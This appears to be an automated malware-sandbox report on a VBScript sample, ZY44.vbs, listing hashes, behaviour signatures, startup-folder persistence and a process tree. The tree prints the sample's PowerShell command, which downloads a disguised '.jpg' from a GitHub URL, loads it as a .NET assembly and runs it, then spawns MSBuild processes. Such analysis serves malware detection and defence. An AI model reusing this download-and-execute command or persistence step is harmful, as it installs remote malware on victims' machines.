d1fa4207d7c46c5f84b1c45e7b5d09aa9c99c896b0e25664bee3b13fcaabcfad

General

Target
ZY44.vbs
Size 3KB
Sample201220-cf9eb9w27n
SHA256 d1fa4207d7c46c5f84b1c45e7b5d09aa9c99c896b0e25664bee3b13fcaabcfad
MD5 4e360770f75b71af91ff81711df27411
SHA1 e682b84622bd5b026271a4e1f32ee26c54f51d14
SHA512 fc958acc9149a7bdbd98d929ea64497a8e91f37d9c2c3f4bfa622d3927e0f19340469694385520d7377e541c05d9306926d8a8c6de1d6575cc05369d0df4a32e
MD5 SHA1 SHA512

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	1268	powershell.exe
9	1268	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZY44.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZY44.vbs	WScript.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
1268	powershell.exe
1268	powershell.exe
1268	powershell.exe
1268	powershell.exe
1268	powershell.exe
1268	powershell.exe
1268	powershell.exe
1268	powershell.exe
1268	powershell.exe
1268	powershell.exe
1268	powershell.exe
1268	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1268	powershell.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 2012 wrote to memory of 1268	2012	WScript.exe	26
PID 2012 wrote to memory of 1268	2012	WScript.exe	26
PID 2012 wrote to memory of 1268	2012	WScript.exe	26
PID 1268 wrote to memory of 1476	1268	powershell.exe	31
PID 1268 wrote to memory of 1476	1268	powershell.exe	31
PID 1268 wrote to memory of 1476	1268	powershell.exe	31
PID 1268 wrote to memory of 1476	1268	powershell.exe	31
PID 1268 wrote to memory of 520	1268	powershell.exe	32
PID 1268 wrote to memory of 520	1268	powershell.exe	32
PID 1268 wrote to memory of 520	1268	powershell.exe	32
PID 1268 wrote to memory of 520	1268	powershell.exe	32
PID 1268 wrote to memory of 320	1268	powershell.exe	33
PID 1268 wrote to memory of 320	1268	powershell.exe	33
PID 1268 wrote to memory of 320	1268	powershell.exe	33
PID 1268 wrote to memory of 320	1268	powershell.exe	33
PID 1268 wrote to memory of 928	1268	powershell.exe	34
PID 1268 wrote to memory of 928	1268	powershell.exe	34
PID 1268 wrote to memory of 928	1268	powershell.exe	34
PID 1268 wrote to memory of 928	1268	powershell.exe	34
PID 1268 wrote to memory of 540	1268	powershell.exe	35
PID 1268 wrote to memory of 540	1268	powershell.exe	35
PID 1268 wrote to memory of 540	1268	powershell.exe	35
PID 1268 wrote to memory of 540	1268	powershell.exe	35

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ZY44.vbs"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:2012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $f='C:\Users\Public\Music\xt.jpg'; Invoke-WebRequest 'https://raw.githubusercontent.com/githubuser2x/x/master/New.jpg' -outfile $f ;[System.Reflection.Assembly]::loadfile($f);[axx.bxx]::cxx()
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1268
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:1476
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:520
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:320
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:928
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:540

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1268-3-0x000007FEF5C80000-0x000007FEF666C000-memory.dmp

Download

memory/1268-4-0x0000000002570000-0x0000000002571000-memory.dmp

Download

memory/1268-5-0x000000001AC20000-0x000000001AC21000-memory.dmp

Download

memory/1268-6-0x0000000002640000-0x0000000002641000-memory.dmp

Download

memory/1268-7-0x0000000002670000-0x0000000002671000-memory.dmp

Download

memory/1268-8-0x000000001C400000-0x000000001C401000-memory.dmp

Download

memory/1268-9-0x000000001D0E0000-0x000000001D0E1000-memory.dmp

Download

memory/2012-11-0x00000000025D0000-0x00000000025D4000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads